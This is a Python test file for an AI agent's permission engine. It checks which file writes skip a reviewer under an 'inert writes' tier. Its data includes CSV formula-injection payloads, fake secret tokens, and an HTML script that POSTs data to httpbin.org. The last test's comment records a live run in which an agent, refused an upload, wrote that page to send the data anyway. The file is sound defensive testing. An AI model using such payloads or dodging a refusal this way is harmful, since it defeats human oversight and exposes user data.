mirror of
https://github.com/andrewyng/openworker.git
synced 2026-11-20 20:37:44 +00:00
483 lines
21 KiB
Python
483 lines
21 KiB
Python
"""Auto-approve's inert-writes tier (OPE-233).
|
|
|
|
A write inside the session's folders runs without a reviewer call when it is a plain
|
|
document or raster image (not JSON or YAML, not a build or install input, not another AI
|
|
tool's instruction file), its name and content don't look secret, it isn't a protected
|
|
file, and it can be undone: a new file, a git-tracked file with no uncommitted changes, or a file the agent
|
|
itself wrote earlier in the session. Every other write reaches the reviewer exactly as
|
|
before. Behind `inert_writes`: "off" (default) → "audit" (decision unchanged, "would
|
|
allow" recorded) → "on"."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import shutil
|
|
import subprocess
|
|
from pathlib import Path
|
|
|
|
import pytest
|
|
|
|
from coworker.events import EventType
|
|
from coworker.providers import AssistantTurn
|
|
from coworker.permissions import INERT_WRITE_REASON, Mode, PermissionEngine
|
|
from coworker.provenance import SessionFiles
|
|
from test_auto_approve import _engine, _FakeReviewer, _run, _tool_turn
|
|
|
|
git = pytest.mark.skipif(shutil.which("git") is None, reason="git not installed")
|
|
|
|
|
|
def _gate(tmp_path: Path, inert: str = "on", mode: Mode = Mode.AUTO_APPROVE, **kw) -> PermissionEngine:
|
|
return PermissionEngine(workspace_root=tmp_path, mode=mode, inert_writes=inert, **kw)
|
|
|
|
|
|
def _write(path: str, content: str = "hello", overwrite: bool = False) -> dict:
|
|
return {"path": path, "content": content, "overwrite": overwrite}
|
|
|
|
|
|
def _repo(tmp_path: Path, files: dict[str, str]) -> None:
|
|
run = lambda *a: subprocess.run(["git", *a], cwd=tmp_path, check=True, capture_output=True) # noqa: E731
|
|
run("init", "-q")
|
|
for name, text in files.items():
|
|
(tmp_path / name).parent.mkdir(parents=True, exist_ok=True)
|
|
(tmp_path / name).write_text(text, encoding="utf-8")
|
|
run("add", "-A")
|
|
run("-c", "user.name=t", "-c", "user.email=t@example.invalid", "commit", "-qm", "init")
|
|
|
|
|
|
def _ran_without_reviewer(d) -> bool:
|
|
return d.allowed and d.reason.startswith(INERT_WRITE_REASON) and d.tier == "inert_write"
|
|
|
|
|
|
def _goes_to_reviewer(d) -> bool:
|
|
return not d.allowed and d.needs_user and not d.human_only
|
|
|
|
|
|
# -- the flag ----------------------------------------------------------------------
|
|
|
|
|
|
def test_off_by_default_every_write_still_reaches_the_reviewer(tmp_path):
|
|
d = PermissionEngine(workspace_root=tmp_path, mode=Mode.AUTO_APPROVE).evaluate(
|
|
"write_file", _write("notes.md")
|
|
)
|
|
assert _goes_to_reviewer(d) and d.tier == ""
|
|
|
|
|
|
def test_on_a_new_inert_file_runs_without_the_reviewer(tmp_path):
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("summary.txt")))
|
|
|
|
|
|
def test_audit_mode_records_would_allow_but_changes_nothing(tmp_path):
|
|
d = _gate(tmp_path, "audit").evaluate("write_file", _write("summary.txt"))
|
|
assert _goes_to_reviewer(d)
|
|
assert d.reason == "requires approval"
|
|
assert d.tier == "inert_write" and d.tier_audit_only
|
|
|
|
|
|
@pytest.mark.parametrize("mode", [Mode.INTERACTIVE, Mode.CUSTOM])
|
|
def test_only_auto_approve_mode_uses_the_tier(tmp_path, mode):
|
|
d = _gate(tmp_path, mode=mode).evaluate("write_file", _write("summary.txt"))
|
|
assert not d.allowed and d.tier == ""
|
|
|
|
|
|
def test_an_unknown_flag_value_means_off(tmp_path):
|
|
d = _gate(tmp_path, "yes please").evaluate("write_file", _write("summary.txt"))
|
|
assert _goes_to_reviewer(d)
|
|
|
|
|
|
# -- what counts as inert --------------------------------------------------------------
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
["notes.md", "out/report.txt", "data/rows.csv", "data/rows.tsv", "chart.png", "docs/guide.rst",
|
|
"run.log", "NOTES.MD", "README.md", "CHANGELOG.md", "LICENSE.txt", "docs/design.markdown",
|
|
# names that only look like the exclusions below
|
|
"docs/claude-notes.md", "notes/agents-meeting.txt", "cursor-tips.md", "cmake-notes.txt"],
|
|
)
|
|
def test_inert_types_are_eligible(tmp_path, path):
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
# Devika, 28 Oct 2026: JSON and YAML left the tier. Tools read them to decide what to
|
|
# run, and no list of tool-config names can be complete. The reviewer sees the content.
|
|
# result.json and cfg/settings.yaml were eligible before this change.
|
|
["result.json", "cfg/settings.yaml", "data/rows.jsonl", "config.yml", "nodemon.json",
|
|
"docker-compose.override.yml", "deploy/playbook.yml", "buildspec.yml",
|
|
"package.json", ".eslintrc.json"],
|
|
)
|
|
def test_json_and_yaml_go_to_the_reviewer(tmp_path, path):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
# Text files that decide what gets built, installed or tested: CMake runs
|
|
# CMakeLists.txt, pip installs what requirements and constraints files list, and
|
|
# pytest runs test*.txt files as doctests by default.
|
|
["CMakeLists.txt", "src/lib/cmakelists.TXT", "requirements.txt", "REQUIREMENTS.txt",
|
|
"requirements-dev.txt", "requirements_test.txt", "dev-requirements.txt",
|
|
"requirements/base.txt", "requirements/dev/extra.txt", "constraints.txt",
|
|
"ci/constraints-py311.txt", "test_examples.txt", "docs/testing.txt",
|
|
# files that pick what a platform installs: Heroku, Streamlit Cloud, Binder
|
|
"runtime.txt", "packages.txt", "apt.txt"],
|
|
)
|
|
def test_build_and_install_inputs_go_to_the_reviewer(tmp_path, path):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
# Instructions another AI coding tool reads into its prompt on its next run.
|
|
["CLAUDE.md", "claude.MD", "sub/dir/CLAUDE.md", "CLAUDE.local.md", "GEMINI.md", "QWEN.md",
|
|
"CRUSH.md", "WARP.md", "AGENT.md", "AGENTS.override.md", "CONVENTIONS.md",
|
|
".github/copilot-instructions.md", ".github/instructions/python.instructions.md",
|
|
"src/api.instructions.md", ".github/prompts/release.prompt.md",
|
|
".github/chatmodes/plan.chatmode.md", ".github/agents/reviewer.agent.md",
|
|
".claude/commands/deploy.md", ".claude/agents/helper.md", "tools/x/SKILL.md",
|
|
".cursor/rules/style.md", ".Cursor/Rules/Style.md", ".windsurf/rules/rules.md",
|
|
".clinerules/01-style.md", ".roo/rules/style.md", ".kiro/steering/product.md",
|
|
".amazonq/rules/style.md", ".continue/rules/style.md", ".junie/guidelines.md",
|
|
".augment/rules/style.md", ".gemini/styleguide.md", ".agent/rules/style.md",
|
|
".agents/rules/style.md", ".openhands/microagents/repo.md", ".trae/rules/project_rules.md",
|
|
".codex/notes.md", ".opencode/agent/review.md", ".kilocode/rules/style.md",
|
|
".aiassistant/rules/style.md", ".zencoder/rules/style.md"],
|
|
)
|
|
def test_other_ai_tools_instruction_files_go_to_the_reviewer(tmp_path, path):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize("folder", ["requirements", "agents", "Requirements Review"])
|
|
def test_the_workspace_folder_name_itself_is_not_matched(tmp_path, folder):
|
|
# Folder rules look only at the path under the writable root: a workspace that is
|
|
# itself called `requirements` keeps the tier for its notes.
|
|
ws = tmp_path / folder
|
|
ws.mkdir()
|
|
assert _ran_without_reviewer(_gate(ws).evaluate("write_file", _write("notes.md")))
|
|
assert _ran_without_reviewer(_gate(ws).evaluate("write_file", _write("notes.txt")))
|
|
|
|
|
|
def test_a_document_in_a_requirements_folder_is_still_eligible(tmp_path):
|
|
# pip reads `requirements/*.txt`; it does not read a Markdown file kept there.
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("requirements/notes.md")))
|
|
|
|
|
|
def test_a_second_writable_root_is_scoped_the_same_way(tmp_path):
|
|
extra = tmp_path / "requirements"
|
|
extra.mkdir()
|
|
gate = PermissionEngine(
|
|
workspace_root=tmp_path, mode=Mode.AUTO_APPROVE, inert_writes="on",
|
|
roots=[{"path": tmp_path, "writable": True}, {"path": extra, "writable": True}],
|
|
)
|
|
assert _ran_without_reviewer(gate.evaluate("write_file", _write(str(extra / "notes.md"))))
|
|
assert _goes_to_reviewer(gate.evaluate("write_file", _write("requirements/base.txt")))
|
|
|
|
|
|
# -- spreadsheet formulas ------------------------------------------------------------------
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"content",
|
|
[
|
|
'name,total\nbob,=HYPERLINK("http://x","click")\n',
|
|
"name,total\nbob,\"=cmd|'/c calc'!A0\"\n",
|
|
"a,b\n@SUM(1;2),1\n",
|
|
"a,b\n+cmd|' /C calc'!A0,1\n",
|
|
"a,b\n-2+3+cmd|' /C calc'!A0,1\n",
|
|
"a\tb\n=1+1\t2\n",
|
|
"a,b\n 'x',=1+1\n", # leading space and quote do not hide the formula
|
|
],
|
|
)
|
|
def test_a_csv_cell_that_starts_a_formula_goes_to_the_reviewer(tmp_path, content):
|
|
# A spreadsheet app runs a cell that starts with = @ + or - when the file is opened.
|
|
# Opening a file is not a command anyone reviews, so the reviewer must see it first.
|
|
name = "rows.tsv" if "\t" in content else "rows.csv"
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(name, content)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"content",
|
|
["name,total\nbob,-5\nann,+1.5\n", "x,y\n-0.25,-.5\n", "a,b\n1,2\n",
|
|
'note\n"well, =not at the start"\n', "a,b\n,\n"],
|
|
)
|
|
def test_ordinary_csv_data_is_still_eligible(tmp_path, content):
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("rows.csv", content)))
|
|
|
|
|
|
def test_a_formula_in_a_markdown_file_is_fine(tmp_path):
|
|
# Only spreadsheet files are opened by an app that evaluates cells.
|
|
text = "| a | b |\n|---|---|\n| =SUM(1,2) | x |\n"
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("table.md", text)))
|
|
|
|
|
|
def test_a_csv_patch_is_checked_on_its_added_lines(tmp_path):
|
|
bad = "*** Begin Patch\n*** Add File: rows.csv\n+a,b\n+=1+1,2\n*** End Patch"
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": bad}))
|
|
ok = "*** Begin Patch\n*** Add File: rows.csv\n+a,b\n+1,2\n+-5,+2\n*** End Patch"
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": ok}))
|
|
|
|
|
|
def test_a_csv_replace_is_checked_on_the_new_text(tmp_path):
|
|
files = SessionFiles(tmp_path)
|
|
gate = _gate(tmp_path, agent_wrote=files.wrote)
|
|
(tmp_path / "rows.csv").write_text("a,b\n1,2\n", encoding="utf-8")
|
|
files.record("write_file", _write("rows.csv", "a,b\n1,2\n"), "ok", step=1)
|
|
args = {"path": "rows.csv", "old": "1,2", "new": "=1+1,2"}
|
|
assert _goes_to_reviewer(gate.evaluate("replace_in_file", args))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
["make_report.py", "build.sh", "run.ps1", "app.js", "main.ts", "lib.rb", "x.c", "Makefile",
|
|
"Dockerfile", "fix.patch", "x.pth", "noext",
|
|
# document-like formats that can carry script
|
|
"page.html", "page.HTM", "chart.svg", "feed.xml", "report.pdf"],
|
|
)
|
|
def test_code_scripts_and_unknown_types_go_to_the_reviewer(tmp_path, path):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
# Files that run on a later action are human-only through the protected-file floor
|
|
# (OPE-231), which runs before the tier: stricter than the reviewer, never the tier.
|
|
[".vscode/settings.json", ".vscode/launch.json", "conftest.py", "sitecustomize.py"],
|
|
)
|
|
def test_files_that_run_later_are_human_only_before_the_tier(tmp_path, path):
|
|
d = _gate(tmp_path).evaluate("write_file", _write(path))
|
|
assert d.human_only and not d.allowed and d.tier == ""
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"path",
|
|
[".env", ".env.local", "secrets/.ENV.production", "server.pem", "api_key.txt", "API-KEY.md",
|
|
"credentials.txt", "id_rsa.txt", "my_secrets.md", "token.txt", "password.txt"],
|
|
)
|
|
def test_secret_looking_names_go_to_the_reviewer(tmp_path, path):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write(path)))
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"content",
|
|
[
|
|
"key: sk-abcdefghijklmnopqrstuvwxyz012345",
|
|
"AKIAABCDEFGHIJKLMNOP",
|
|
"-----BEGIN OPENSSH PRIVATE KEY-----\nabc\n-----END OPENSSH PRIVATE KEY-----",
|
|
"token = ghp_abcdefghijklmnopqrstuvwxyz0123456789",
|
|
"slack: xoxb-1234567890-abcdefghij",
|
|
'api_key = "Zx9Qw3Er7Ty1Ui5Op2As8Df4Gh6Jk0L"',
|
|
],
|
|
)
|
|
def test_secret_looking_content_goes_to_the_reviewer(tmp_path, content):
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write("notes.md", content)))
|
|
|
|
|
|
def test_ordinary_prose_about_keys_is_fine(tmp_path):
|
|
text = "Rotate the API key monthly. The password policy needs 12 characters."
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("policy.md", text)))
|
|
|
|
|
|
# -- floors still win -------------------------------------------------------------------
|
|
|
|
|
|
def test_a_protected_inert_file_stays_human_only(tmp_path):
|
|
# AGENTS.md is markdown, but it is read into every later session's prompt (OPE-231).
|
|
d = _gate(tmp_path).evaluate("write_file", _write("AGENTS.md"))
|
|
assert not d.allowed and d.human_only and d.tier == ""
|
|
|
|
|
|
def test_a_write_outside_the_folders_is_still_refused(tmp_path):
|
|
d = _gate(tmp_path / "ws").evaluate("write_file", _write("../outside.md"))
|
|
assert not d.allowed and not d.needs_user
|
|
|
|
|
|
def test_a_read_only_root_is_still_refused(tmp_path):
|
|
ro = tmp_path / "ro"
|
|
ro.mkdir()
|
|
gate = PermissionEngine(
|
|
workspace_root=ro, mode=Mode.AUTO_APPROVE, inert_writes="on",
|
|
roots=[{"path": ro, "writable": False}],
|
|
)
|
|
d = gate.evaluate("write_file", _write("notes.md"))
|
|
assert not d.allowed and not d.needs_user
|
|
|
|
|
|
# -- reversibility -----------------------------------------------------------------------
|
|
|
|
|
|
def test_overwriting_an_existing_file_without_git_goes_to_the_reviewer(tmp_path):
|
|
(tmp_path / "notes.md").write_text("user's own notes", encoding="utf-8")
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write("notes.md", overwrite=True)))
|
|
|
|
|
|
@git
|
|
def test_a_new_file_in_a_repo_is_eligible(tmp_path):
|
|
_repo(tmp_path, {"README.md": "x"})
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("write_file", _write("summary.txt")))
|
|
|
|
|
|
@git
|
|
def test_a_tracked_unmodified_file_is_eligible(tmp_path):
|
|
_repo(tmp_path, {"docs/notes.md": "v1"})
|
|
d = _gate(tmp_path).evaluate("replace_in_file", {"path": "docs/notes.md", "old": "v1", "new": "v2"})
|
|
assert _ran_without_reviewer(d)
|
|
|
|
|
|
@git
|
|
def test_a_tracked_file_with_uncommitted_changes_goes_to_the_reviewer(tmp_path):
|
|
_repo(tmp_path, {"notes.md": "v1"})
|
|
(tmp_path / "notes.md").write_text("the user's unsaved edit", encoding="utf-8")
|
|
d = _gate(tmp_path).evaluate("write_file", _write("notes.md", overwrite=True))
|
|
assert _goes_to_reviewer(d)
|
|
|
|
|
|
@git
|
|
def test_an_untracked_existing_file_goes_to_the_reviewer(tmp_path):
|
|
_repo(tmp_path, {"README.md": "x"})
|
|
(tmp_path / "scratch.md").write_text("not in git", encoding="utf-8")
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("write_file", _write("scratch.md", overwrite=True)))
|
|
|
|
|
|
@git
|
|
def test_an_ignored_existing_file_goes_to_the_reviewer(tmp_path):
|
|
_repo(tmp_path, {".gitignore": "out/\n"})
|
|
(tmp_path / "out").mkdir()
|
|
(tmp_path / "out" / "result.csv").write_text("a,b", encoding="utf-8")
|
|
d = _gate(tmp_path).evaluate("write_file", _write("out/result.csv", overwrite=True))
|
|
assert _goes_to_reviewer(d)
|
|
|
|
|
|
@git
|
|
def test_deleting_even_a_tracked_unmodified_file_goes_to_the_reviewer(tmp_path):
|
|
# Devika, 26 Oct 2026: git could restore it, but the reviewer should see every delete.
|
|
# A clearly requested delete is still allowed there (Rule 1b); one taken from a to-do
|
|
# file with no approved plan becomes a card.
|
|
_repo(tmp_path, {"old-notes.txt": "old"})
|
|
patch = "*** Begin Patch\n*** Delete File: old-notes.txt\n*** End Patch"
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
@git
|
|
def test_moving_a_file_goes_to_the_reviewer(tmp_path):
|
|
# A move removes the original name, so it is treated like a delete.
|
|
_repo(tmp_path, {"notes.md": "old"})
|
|
patch = (
|
|
"*** Begin Patch\n*** Update File: notes.md\n*** Move to: archive.md\n"
|
|
"@@\n-old\n+old\n*** End Patch"
|
|
)
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
@git
|
|
def test_a_patch_that_deletes_one_file_and_adds_another_goes_to_the_reviewer(tmp_path):
|
|
_repo(tmp_path, {"old-notes.txt": "old"})
|
|
patch = (
|
|
"*** Begin Patch\n*** Add File: summary.txt\n+done\n"
|
|
"*** Delete File: old-notes.txt\n*** End Patch"
|
|
)
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
def test_adding_an_inert_file_by_patch_is_still_eligible(tmp_path):
|
|
patch = "*** Begin Patch\n*** Add File: notes.md\n+hi\n*** End Patch"
|
|
assert _ran_without_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
@git
|
|
def test_deleting_an_untracked_file_goes_to_the_reviewer(tmp_path):
|
|
_repo(tmp_path, {"README.md": "x"})
|
|
(tmp_path / "keep.txt").write_text("only copy", encoding="utf-8")
|
|
patch = "*** Begin Patch\n*** Delete File: keep.txt\n*** End Patch"
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
def test_a_patch_touching_one_inert_and_one_code_file_goes_to_the_reviewer(tmp_path):
|
|
patch = (
|
|
"*** Begin Patch\n*** Add File: notes.md\n+hi\n"
|
|
"*** Add File: tool.py\n+print(1)\n*** End Patch"
|
|
)
|
|
assert _goes_to_reviewer(_gate(tmp_path).evaluate("apply_patch", {"patch": patch}))
|
|
|
|
|
|
def test_rewriting_a_file_the_agent_wrote_this_session_is_eligible(tmp_path):
|
|
files = SessionFiles(tmp_path)
|
|
gate = _gate(tmp_path, agent_wrote=files.wrote)
|
|
assert _ran_without_reviewer(gate.evaluate("write_file", _write("summary.txt")))
|
|
# The write ran: the file exists now and the engine recorded it.
|
|
(tmp_path / "summary.txt").write_text("hello", encoding="utf-8")
|
|
files.record("write_file", _write("summary.txt"), "ok", step=1)
|
|
assert _ran_without_reviewer(gate.evaluate("write_file", _write("summary.txt", "v2", overwrite=True)))
|
|
|
|
|
|
def test_a_file_the_agent_only_downloaded_is_not_treated_as_its_own(tmp_path):
|
|
files = SessionFiles(tmp_path)
|
|
(tmp_path / "page.html").write_text("<html>", encoding="utf-8")
|
|
files.record("email_download_attachment", {"id": "m1"}, {"path": str(tmp_path / "page.html")}, step=1)
|
|
assert files.match("run_shell", {"command": "bash ./page.html"}, step=2) is not None # recorded, as a download
|
|
gate = _gate(tmp_path, agent_wrote=files.wrote)
|
|
assert _goes_to_reviewer(gate.evaluate("write_file", _write("page.html", overwrite=True)))
|
|
|
|
|
|
# -- the engine: recorded, never invisible ------------------------------------------------
|
|
|
|
|
|
def _todo_engine(tmp_path, inert: str):
|
|
engine, rows, approvals = _engine(
|
|
tmp_path,
|
|
[
|
|
_tool_turn(("write_file", {"path": "summary.txt", "content": "Weekly summary: 3 tasks done."})),
|
|
_tool_turn(("write_file", {"path": "summary.txt", "content": "Weekly summary: 4 tasks done."})),
|
|
_tool_turn(("write_file", {"path": "tool.py", "content": "print(1)"})),
|
|
AssistantTurn(text="done", finish_reason="stop"),
|
|
],
|
|
)
|
|
engine.permissions.inert_writes = inert
|
|
engine.reviewer = _FakeReviewer({"write_file": "unsure"}) # it can't see the to-do list
|
|
return engine, rows, approvals
|
|
|
|
|
|
def test_engine_runs_inert_writes_without_the_reviewer_and_records_them(tmp_path):
|
|
engine, rows, approvals = _todo_engine(tmp_path, "on")
|
|
events = _run(engine, "do the tasks in TODO.md")
|
|
|
|
asked = [args.get("path") for name, args in engine.reviewer.asked]
|
|
assert asked == ["tool.py"] # only the code file reached the reviewer
|
|
assert approvals == ["write_file"] # ...whose "unsure" became the one card
|
|
tier_rows = [r for r in rows if r.get("stage") == "auto_allowed" and INERT_WRITE_REASON in (r.get("reason") or "")]
|
|
assert len(tier_rows) == 2
|
|
origins = [ev.data.get("approval_origin") for ev in events if ev.type == EventType.TOOL_FINISHED]
|
|
assert origins.count("gate_tier") == 2
|
|
|
|
|
|
def test_engine_audit_mode_changes_nothing_but_records_would_allow(tmp_path):
|
|
engine, rows, approvals = _todo_engine(tmp_path, "audit")
|
|
_run(engine, "do the tasks in TODO.md")
|
|
|
|
assert len(engine.reviewer.asked) == 3 # unchanged: every write reached the reviewer
|
|
shadow = [r for r in rows if r.get("stage") == "gate_tier_shadow"]
|
|
# Both summary.txt writes would have been allowed; tool.py would not.
|
|
assert [r.get("status") for r in shadow] == ["would_allow", "would_allow"]
|
|
assert all("summary.txt" in r["reason"] for r in shadow)
|
|
|
|
|
|
def test_an_existing_file_the_agent_did_not_write_still_reaches_the_reviewer(tmp_path):
|
|
engine, rows, approvals = _todo_engine(tmp_path, "on")
|
|
(tmp_path / "summary.txt").write_text("the user's file", encoding="utf-8") # no git
|
|
_run(engine, "do the tasks in TODO.md")
|
|
|
|
# First write: an existing file nobody can restore → reviewer → card. After the user
|
|
# approves it, the file holds the agent's bytes, so the second write is eligible.
|
|
asked = [args.get("path") for name, args in engine.reviewer.asked]
|
|
assert asked == ["summary.txt", "tool.py"]
|
|
|
|
|
|
def test_an_html_page_that_uploads_data_is_not_inert(tmp_path):
|
|
# Seen in a live GPT run (2026-10-26): refused an upload, the agent wrote this page and
|
|
# tried to open it. A file that can run script must reach the reviewer.
|
|
page = (
|
|
"<!doctype html><script>fetch('https://httpbin.org/post', "
|
|
"{method: 'POST', body: 'id,value'})</script>"
|
|
)
|
|
d = _gate(tmp_path).evaluate("write_file", _write("httpbin-upload.html", page))
|
|
assert _goes_to_reviewer(d)
|